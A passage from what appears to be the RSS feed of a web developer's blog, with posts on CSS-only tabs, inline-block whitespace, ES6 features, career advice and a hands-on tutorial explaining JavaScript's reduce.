&lt;p&gt;What I envision is a future where requests can be examined by webservers running isomorphic web applications. If the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTTP/Content_negotiation&quot;&gt;request’s &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Accepts&lt;/code&gt; header&lt;/a&gt; is for HTML then, by all means, the web application will be returned as HTML, javascript, and CSS as it currently does. If however the request specifies - let’s say XHTML3 - the server will run the application server-side to generate a compatible XML document and return it.&lt;/p&gt;

&lt;p&gt;As far as I know, nobody is talking about XHTML3 yet (&lt;a href=&quot;https://www.cs.tut.fi/~jkorpela/html/xhtml3.html&quot;&gt;this is an awesome joke though&lt;/a&gt;), and not everyone is going to sit down and rewrite their site as isomorphic javascript applications. But within certain industries and use cases I could certainly imagine this becoming popular and special-purpose (likely automated or accessibility-specialized) web clients being widely used within that industry. In this way, the old chestnut of semantic web could be pushed forward again bit by bit.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>CSS Only Tabs</title>
      <link>http://georgemauer.net/2016/07/15/css-only-tabs.html</link>
      <pubDate>Fri, 15 Jul 2016 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2016/07/15/css-only-tabs.html</guid>
      <description>&lt;p&gt;There is a tendency of web developers to prefer javascript over other tools of the trade. A lot of this is based in the need to support older browsers or - even more often - the &lt;em&gt;percieved&lt;/em&gt; need to support old browsers. Just as often however, it is due to fear and ignorance of how the tools of the internet are meant to work.&lt;/p&gt;

&lt;p&gt;A great example is ui tabbing systems. I’ve participated in half-hour long hoarse-yelled “discussions” on which tabbing widget is the best. Which is ironic, because the true answer is: you probably don’t need a javascript tabbing widget at all. If you understand CSS, you can assemble your own easily enough. Let’s do that now.&lt;/p&gt;

&lt;p&gt;So we want &lt;a href=&quot;http://output.jsbin.com/sinaxu/10&quot;&gt;a fully functioning tab system with url navigation&lt;/a&gt;. Lets figure out how to do that.&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;&lt;strong&gt;Observation #1&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/:target&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:target&lt;/code&gt; pseudo-selector seems useful&lt;/a&gt;. You can use it to highlight bits of html that are hash-linked&lt;/p&gt;

&lt;p&gt;&lt;a class=&quot;jsbin-embed&quot; href=&quot;http://jsbin.com/kijudu/2/embed?html,css,output&quot;&gt;Hash-linked element selection&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Go ahead and &lt;a href=&quot;http://output.jsbin.com/kijudu&quot;&gt;check out the full-screen view&lt;/a&gt; to really get the effect. So we learn that you can apply styles to any element that is currently selected by the url hash.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Observation #2&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You can select elements that follow &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:target&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;a class=&quot;jsbin-embed&quot; href=&quot;http://jsbin.com/jiyaka/3/embed?html,css,output&quot;&gt;Selecting following elements&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And even elements that &lt;em&gt;eventually&lt;/em&gt; follow it&lt;/p&gt;

&lt;p&gt;&lt;a class=&quot;jsbin-embed&quot; href=&quot;http://jsbin.com/kijudu/10/embed?html,css,output&quot;&gt;Selecting eventually following elements&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So, maybe if we can arrange our html like this we can take advantage of things. We’ll start with some really simple html and some basic styling:&lt;/p&gt;

&lt;p&gt;&lt;a class=&quot;jsbin-embed&quot; href=&quot;http://jsbin.com/sinaxu/2/embed?html,css,output&quot;&gt;Just the facts straightforward HTML and CSS&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Of course tabs need to go first, so lets re-arrange things with flexbox’s order property.&lt;/p&gt;

&lt;p&gt;&lt;a class=&quot;jsbin-embed&quot; href=&quot;http://jsbin.com/sinaxu/4/embed?html,css,output&quot;&gt;Position tabs first with flexbox order&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Note that we start ordering at 1, not 0…this will come up later. Also note the technique we’ve undertaken to ennsure the content does not flow up to the tab line - we make all articles take up &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;100%&lt;/code&gt; of their container and allow the flex direction to wrap using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flex-wrap&lt;/code&gt;. This is a somewhat awkward but necessary feature for working with this particular scheme.&lt;/p&gt;

&lt;p&gt;With that being figured out, we already know how to show only the targetted tab content. Go ahead and click the tabs below.&lt;/p&gt;

&lt;p&gt;&lt;a class=&quot;jsbin-embed&quot; href=&quot;http://jsbin.com/sinaxu/6/embed?html,css,output&quot;&gt;Show only the the selected tab content&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We even know how to style the selected tab itself using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+&lt;/code&gt; selector. Click around.&lt;/p&gt;

&lt;p&gt;&lt;a class=&quot;jsbin-embed&quot; href=&quot;http://jsbin.com/sinaxu/8/embed?html,css,output&quot;&gt;Style the selected tab&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And so we have a working CSS-only tabs implementation! But not really. Because &lt;strong&gt;nothing&lt;/strong&gt; is targetted on initial page load, no content is initally loaded. We could of course solve this with javascript:&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; 
		&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;location&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;hash&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;main &amp;gt; article&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;id&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But that’s cheating. We want a fully no-javascript implementation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Observation #3&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You can style the last element as if it was targetted. Then, if another element &lt;em&gt;is&lt;/em&gt; targetted, override that styling on all subsequent elements.&lt;/p&gt;

&lt;p&gt;&lt;a class=&quot;jsbin-embed&quot; href=&quot;http://jsbin.com/madile/3/embed?html,css,output&quot;&gt;Style last element in an overridable manner&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Note that we can only override &lt;em&gt;following&lt;/em&gt; items, not preceeding ones. This means the element selected on first page load &lt;em&gt;has&lt;/em&gt; to be the last in the list.&lt;/p&gt;

&lt;p&gt;But knowing this, we can have article content show when the page is first loaded.&lt;/p&gt;

&lt;p&gt;&lt;a class=&quot;jsbin-embed&quot; href=&quot;http://jsbin.com/sinaxu/9/embed?html,css,output&quot;&gt;Article content visible when page first loaded&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We’re so close! But it’s still wierd. Usually, when a page loads the &lt;em&gt;first&lt;/em&gt; tab is selected. This is something we can solve with css ordering!&lt;/p&gt;

&lt;p&gt;&lt;a class=&quot;jsbin-embed&quot; href=&quot;http://jsbin.com/sinaxu/10/embed?html,css,output&quot;&gt;A fully working CSS tabs implementation&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And we’re done! &lt;a href=&quot;http://output.jsbin.com/sinaxu/10&quot;&gt;We even have hash linking&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;While &lt;a href=&quot;https://css-tricks.com/css3-tabs/&quot;&gt;other implementations of css tabs exist&lt;/a&gt;, this is the only one I’ve seen that will work &lt;strong&gt;without having to hard-code ids into your css&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;So before we finish up, there’s a few pros and cons to this approach that ought to be mentioned.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;strong&gt;Pros:&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;No javascript at all. No javascript libraries, not even any glue code. This is the lowest overhead possible.&lt;/li&gt;
      &lt;li&gt;Nice, declarative system. No procedural javascript. Just plain ol’ CSS. There is no chance of some sequence of events not firing a handler and things not working&lt;/li&gt;
      &lt;li&gt;Naturally flows with how HTML and CSS &lt;em&gt;are originally meant to work&lt;/em&gt;.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Cons:&lt;/strong&gt;
    &lt;ul&gt;
      &lt;li&gt;This only shows/hides what is already on the page. There are no transition hooks, no hooks to load data, no cancelling navigation, all data is on the page at the same time.&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flex-wrap&lt;/code&gt; is necessary but weird. There is no way to actually tell the content to “take up the rest of the page” as often is with flexbox. This is the one thing you kind of have to hack around if that is the behavior you want.&lt;/li&gt;
      &lt;li&gt;If you are using a js framework that highjacks url hashes this will screw it up
        &lt;ul&gt;
          &lt;li&gt;This can be adddressed via a slightly different strategy - Using &lt;a href=&quot;http://jsbin.com/yuhidon/1/edit?html,css,output&quot;&gt;radio buttons and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:checked&lt;/code&gt; selectors instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;:target&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So don’t forget. Javascript might not be necessary. Just take the time to understand the tools that the designers of the web made available to us.&lt;/p&gt;

&lt;script src=&quot;http://static.jsbin.com/js/embed.min.js?3.37.0&quot; async=&quot;&quot; defer=&quot;&quot;&gt;&lt;/script&gt;

</description>
    </item>
    
    <item>
      <title>You don&apos;t need to learn map/reduce</title>
      <link>http://georgemauer.net/2016/07/14/you-dont-need-to-learn-map-reduce.html</link>
      <pubDate>Thu, 14 Jul 2016 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2016/07/14/you-dont-need-to-learn-map-reduce.html</guid>
      <description>&lt;p&gt;During an interview, a candidate - a smart guy just at the start of his career - asked me the following (paraphrased)&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I feel like the biggest hole in my understanding at this point is how applications work at scale. How does one put together
a large application with millions of users and hundreds of thousands of data connections? How does one process big data and
use map/reduce. How do I advance myself in that area?&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I’ve heard similar questions before. Heck, at some point I probably asked them myself. So let me answer this here, in blog format.&lt;/p&gt;

&lt;p&gt;You’re wrong.&lt;/p&gt;

&lt;p&gt;That is not your biggest hole. Honestly, it’s hardly a hole. Hardly anyone actually has to work with applications “at scale”. Maybe if you work at Netflix, and even then, the only person who &lt;em&gt;really&lt;/em&gt; works at that level is named Magnus, has an office on the top floor and can read bit streams raw.&lt;/p&gt;

&lt;figure style=&quot;float: left; width: 500px&quot;&gt;
	&lt;img src=&quot;/img/you-dont-need-map-reduce/jp-grandmas-boy.jpg&quot; alt=&quot;grandma&apos;s boy jp&apos;s chair&quot; /&gt;
	&lt;figcaption&gt;Magnus...probably&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;That’s not going to be you in the near future and, chances are, not going to need to be your skillset at all. It is simply not where you should invest your time.&lt;/p&gt;

&lt;p&gt;You, my dear codecamp graduate, need practice working with others.&lt;/p&gt;

&lt;p&gt;Not in an interpersonal sense (although maybe), but in the sense of how to write your code so that others can read it and maintain it. And that’s &lt;a href=&quot;http://steve-yegge.blogspot.com/2008/02/portrait-of-n00b.html&quot;&gt;not just code comments&lt;/a&gt;. That’s design patterns, software architecture, project management, and just plain ol’ experience in getting-things-done. You need experience estimating, selecting proper technologies, and helping clients figure out that what they think they want is not what they need, and talking them into allowing you that extra week of refactoring.&lt;/p&gt;

&lt;p&gt;In short you need practice coding. And coding with other people. Lots and lots of practice.&lt;/p&gt;

&lt;p&gt;It’s hard of course. You’ve been focused on learning for so long with a side of implementation and now its time to see-saw in the other direction. The easier route is of course to just keep taking lessons and schooling and learning, but what I’m saying is its time to start getting those ten thousand hours in.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>This can easily be the most important OSS thing I&apos;ve done</title>
      <link>http://georgemauer.net/2016/02/14/estimation-checklist.html</link>
      <pubDate>Sun, 14 Feb 2016 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2016/02/14/estimation-checklist.html</guid>
      <description>&lt;p&gt;I’m putting together a workshop on estimation of large projects and features for the &lt;a href=&quot;https://www.operationspark.org/&quot;&gt;Operation Spark&lt;/a&gt; coding bootcamp and ended up mind mapping several dozen &lt;em&gt;always-make-sure-to-discuss-this&lt;/em&gt; rules of thumb. I figure, why keep this private? I have plenty of experience but that’s still just me. Let’s open it up for public contribution.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/togakangaroo/estimation-checklist&quot;&gt;So here is a github repo&lt;/a&gt;. It contains a simple &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.md&lt;/code&gt; file so you can edit it entirely in-browser. Fork, edit, and give me a PR to share your experience!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/estimation-checklist/screencap.png&quot; alt=&quot;A screencap of the github repo&quot; /&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Why width 50% inline-blocks don&apos;t display side-by-side</title>
      <link>http://georgemauer.net/2015/10/18/why-width-50-percent-wont-be-side-by-side.html</link>
      <pubDate>Sun, 18 Oct 2015 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2015/10/18/why-width-50-percent-wont-be-side-by-side.html</guid>
      <description>&lt;p&gt;So here’s the thing that’s always confused me about &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;display: inline-block&lt;/code&gt;. Let’s say you have two subsequent &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inline-block&lt;/code&gt; elements. If the container has no padding, and the elements have no margin or border, and if you set both those elements to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;width: 50%&lt;/code&gt; then they should appear side-by side, right?&lt;/p&gt;

&lt;p&gt;&lt;a class=&quot;jsbin-embed&quot; href=&quot;http://jsbin.com/zogopiruje/1/embed?html,css,output&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inline-block&lt;/code&gt; is not side-by-side&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I’ll assure you that the previous paragraph’s logic checks out. So what is going on then? Why do these elements appear on different lines? I’ve wondered this for years always just setting &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;width: 48%&lt;/code&gt; and chalking it all up to an inconsistency in my understanding of how css layouts work.&lt;/p&gt;

&lt;p&gt;Finally, &lt;a href=&quot;http://stackoverflow.com/questions/32765943/why-arent-two-border-box-50-divs-side-by-side&quot;&gt;with some help from StackOverflow&lt;/a&gt; I’ve got it. And as wierd as it is, it makes sense!&lt;/p&gt;

&lt;!--break--&gt;

&lt;p&gt;The clue is in that white-space between the red and blue box. There’s no margins nor borders, so where does this white stripe come from? Well it’s right there, in the html. Do you see it? If not consider this bit of html&lt;/p&gt;

&lt;p&gt;&lt;a class=&quot;jsbin-embed&quot; href=&quot;http://jsbin.com/potefimeve/1/embed?html,output&quot;&gt;Two lines of text&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;why is the output &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;one two&lt;/code&gt; instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;onetwo&lt;/code&gt;? Well…because the words are on different lines, and a line-break in html between two inline elements inserts a white-space.&lt;/p&gt;

&lt;p&gt;Ohhh…and we’ve got &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;inline-block&lt;/code&gt; containers which act as inline…which inserts a white-space…so now our width total is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;50% + whitespace + 50%&lt;/code&gt; which is of course greater than &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;100%&lt;/code&gt; and we get the second container wrapping to the next line!&lt;/p&gt;

&lt;p&gt;So what’s the solution? Well, to start with, simply get rid of that whitespace:&lt;/p&gt;

&lt;p&gt;&lt;a class=&quot;jsbin-embed&quot; href=&quot;http://jsbin.com/wudabezifa/1/embed?html,css,output&quot;&gt;Side-by-side with no whitespace&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And voila! If we still want to stack the html we can do something like&lt;/p&gt;

&lt;pre&gt;
&lt;code&gt;
&amp;lt;div class=&quot;half left&quot;&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;!--
--&amp;gt;&amp;lt;div class=&quot;half right&quot;&amp;gt;&amp;lt;/div&amp;gt;
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;It’s not pretty but it works.&lt;/p&gt;

&lt;p&gt;So there we go. A css mystery solved!&lt;/p&gt;

&lt;script src=&quot;http://static.jsbin.com/js/embed.js&quot; async=&quot;&quot; defer=&quot;&quot;&gt;&lt;/script&gt;

</description>
    </item>
    
    <item>
      <title>Talk Roundup - Be the Es6iest</title>
      <link>http://georgemauer.net/2015/09/12/be-the-es6iest.html</link>
      <pubDate>Sat, 12 Sep 2015 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2015/09/12/be-the-es6iest.html</guid>
      <description>&lt;p&gt;The below is a talk I did about great features of javascript. Specifically of the es6 version of javascript that is starting to currently drop in browsers. The &lt;a href=&quot;http://togakangaroo.github.io/2014/08/02/be-the-javascriptiest&quot;&gt;initial version of this talk&lt;/a&gt; was all about the es5 features that have been in javascript forever. I encourage you to read it, we’re still going to cover that stuff but we’re also going to forge on ahead and use the full power of es6 to build&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/be-the-es6iest/visible-notifications.png&quot; alt=&quot;Notifications visilbe on screen&quot; /&gt;&lt;/p&gt;

&lt;p&gt;A library for a notification system! When completed this library should have the following features&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The ability to add a message.
    &lt;ul&gt;
      &lt;li&gt;When added, the last X messages will show up in a list&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;The ability to clear current messages&lt;/li&gt;
  &lt;li&gt;The ability to specify how many messages are retained&lt;/li&gt;
  &lt;li&gt;The ability to specify a &lt;em&gt;“store”&lt;/em&gt;. This will be used to save messages and queried to show previously saved messages on initialization&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In doing this we’re going to touch on the following language featues that make working with javascript awesome&lt;/p&gt;

&lt;h2 id=&quot;es5&quot;&gt;Es5&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;First order functions&lt;/li&gt;
  &lt;li&gt;Boolean Type Coercion&lt;/li&gt;
  &lt;li&gt;JSON Notation&lt;/li&gt;
  &lt;li&gt;Hoisting&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;es6&quot;&gt;Es6&lt;/h2&gt;
&lt;ul&gt;
  &lt;li&gt;Modules (this is a &lt;strong&gt;big&lt;/strong&gt; deal)&lt;/li&gt;
  &lt;li&gt;Generators (this is a lesser big deal)&lt;/li&gt;
  &lt;li&gt;Arrow functions (especially single line ones)&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;const&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;let&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;spread and splat operator&lt;/li&gt;
  &lt;li&gt;Simple object construction&lt;/li&gt;
  &lt;li&gt;Destructuring&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can &lt;a href=&quot;https://youtu.be/cC8SKCnorU4&quot;&gt;watch the talk on Youtube&lt;/a&gt;&lt;/p&gt;

&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/cC8SKCnorU4&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;p&gt;You can (and are encouraged to) follow along yourself by &lt;a href=&quot;https://github.com/togakangaroo/be-the-es6iest&quot;&gt;grabbing the repository from Github.&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Automated Testing Venn Diagram</title>
      <link>http://georgemauer.net/2015/08/27/automated-testing-venn-diagram.html</link>
      <pubDate>Thu, 27 Aug 2015 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2015/08/27/automated-testing-venn-diagram.html</guid>
      <description>&lt;p&gt;Gave a talk to our salespeople at Surge today about Automated Testing. Here is a Venn Diagram I created for the presentation on how the various philosophies in the space fit together.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/automated-testing/testing-landscape.png&quot; alt=&quot;Automated Testing Landscape&quot; /&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Learn reduce</title>
      <link>http://georgemauer.net/2015/07/03/learn-reduce.html</link>
      <pubDate>Fri, 03 Jul 2015 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2015/07/03/learn-reduce.html</guid>
      <description>&lt;p&gt;So you’re a professional developer and you’ve heard of &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Array.prototype.reduce&lt;/code&gt;&lt;/a&gt; (or underscore/lodash’s &lt;a href=&quot;http://underscorejs.org/#reduce&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_.reduce&lt;/code&gt; function&lt;/a&gt;), and you’ve heard that it’s an &lt;a href=&quot;http://jlongster.com/Transducers.js--A-JavaScript-Library-for-Transformation-of-Data&quot;&gt;insanely powerful way of working with collections&lt;/a&gt; but you don’t quite get it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;tsk tsk tsk&lt;/strong&gt;&lt;sup&gt;1&lt;/sup&gt;&lt;/p&gt;

&lt;p&gt;That’s ok. I’m here to help. It’s a more advanced concept that can be difficult to learn. Or it can be very easy.&lt;/p&gt;

&lt;p&gt;Because you see, you already intuitively know how to do it. Let’s run through an exercise.&lt;/p&gt;

&lt;p&gt;For this you will need&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;A piece of paper&lt;/li&gt;
  &lt;li&gt;A pen or pencil&lt;/li&gt;
  &lt;li&gt;A stack of notecards or sticky notes&lt;/li&gt;
  &lt;li&gt;A hat (the fancier the better)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;To start with, take the piece of paper and tear it up into sixteen or so rectangular pieces. On each piece write some number. They don’t have to be all different but try not to follow any obvious pattern.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/learn-reduce/prep1.jpg&quot; alt=&quot;Torn up paper with numbers&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now fold each piece in half so that you can no longer see the number, shuffle them up, take about half of them and toss them in the hat.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/learn-reduce/prep2.jpg&quot; alt=&quot;Pieces of paper in my fancy hat&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Set all the other pieces of paper to the side, put your stack of notecards or sticky notes in front of you, and let’s think of a question we can ask about the numbers in the hat.&lt;/p&gt;

&lt;p&gt;We’ll start with the canonical &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reduce&lt;/code&gt; example: &lt;em&gt;What is the sum of all these numbers&lt;/em&gt;?&lt;/p&gt;

&lt;p&gt;We’re going to be pulling numbers from the hat one by one in order to answer the question. Two caveats: We’re not allowed to look at previous numbers, and we’re only allowed to remember one thing at a time. We will be using the cards as our “memory”.&lt;/p&gt;

&lt;p&gt;Now let’s answer the question of the sum as best we can on the topmost card. We haven’t looked at any numbers yet so let’s start by saying the answer is zero.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/learn-reduce/sum1.jpg&quot; alt=&quot;Sum is 0&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Great, now draw the first number and place the top card next to it so that the next blank card in the stack is showing. We have so far picked one number, and our previous sum is zero, therefore on the blank card write down the new sum.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/learn-reduce/sum2.jpg&quot; alt=&quot;Sum is 3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Now remove the number paper and the previous card, we won’t need them and are no longer allowed to look at them. Draw the next number and move the top card over near it as before. Again, given the previous sum, and this number, answer the question &lt;em&gt;“what is the sum”&lt;/em&gt; on the next top card.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/learn-reduce/sum3.jpg&quot; alt=&quot;Sum is 8&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Clear the current number paper and the previous card again and keep doing this until you’ve drawn the last number. There’s your answer!&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/learn-reduce/sum4.jpg&quot; alt=&quot;Sum is 126&quot; /&gt;&lt;/p&gt;

&lt;p&gt;You’ve now answered the question by iteratively &lt;em&gt;reducing&lt;/em&gt; the number of items in the hat.&lt;/p&gt;

&lt;p&gt;In &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reduce&lt;/code&gt; function terms&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The number you drew is the &lt;strong&gt;item&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;The “previous” card the &lt;strong&gt;accumulator&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;The question you’re asking is the &lt;strong&gt;reducing function&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;The top card is the &lt;strong&gt;reducing function result&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;The initial card you wrote an answer on before you drew any numbers is the &lt;strong&gt;seed&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;And the numbers in the hat to start is the &lt;strong&gt;collection&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;img src=&quot;/img/learn-reduce/labeled1.jpg&quot; alt=&quot;item, addumulator, result, reducing function&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Since we now have the algorithm it should be dead simple to translate it. In javascript terms we have:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
var reducingFunction = function(accumulator, item) {
  return accumulator + item;
}
collection.reduce(reducingFunction, 0);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Or, if we follow the rule of &lt;em&gt;naming things after what they do, rather than how they’re used&lt;/em&gt;, we get&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
var sum = function(x, y) {
  return x + y;
}
hatItems.reduce(sum, 0);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Got it?&lt;/p&gt;

&lt;p&gt;One more time for safetey?&lt;/p&gt;

&lt;p&gt;Ok, new stack of cards, shuffle up the numbers, and toss some of them in the hat again.&lt;/p&gt;

&lt;p&gt;This time, we’re going to answer the question &lt;em&gt;“are any of the numbers divisible by two?”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;As before, we will answer the question as best we can on the top card. Since we haven’t drawn any numbers yet, much less one that is divisible by two, we must answer “No”.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/learn-reduce/isDivisible1.jpg&quot; alt=&quot;Initially no numbers are divisible by 2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Ok, let’s move the card over, draw the first number, and answer as best we can.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/learn-reduce/isDivisible2.jpg&quot; alt=&quot;75 is not divisible by 2 and so far nothing is&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We drew a 75, which is not divisible by two, and so far no numbers have been divisible by two so we write “No” again on the top card and draw the next number.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/learn-reduce/isDivisible3.jpg&quot; alt=&quot;21 is not divisible by 2 and so far nothing is&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This time, we drew a 21. Again, this is not divisible by 2 so yet again we write “No” and continue working our way through the hat.&lt;/p&gt;

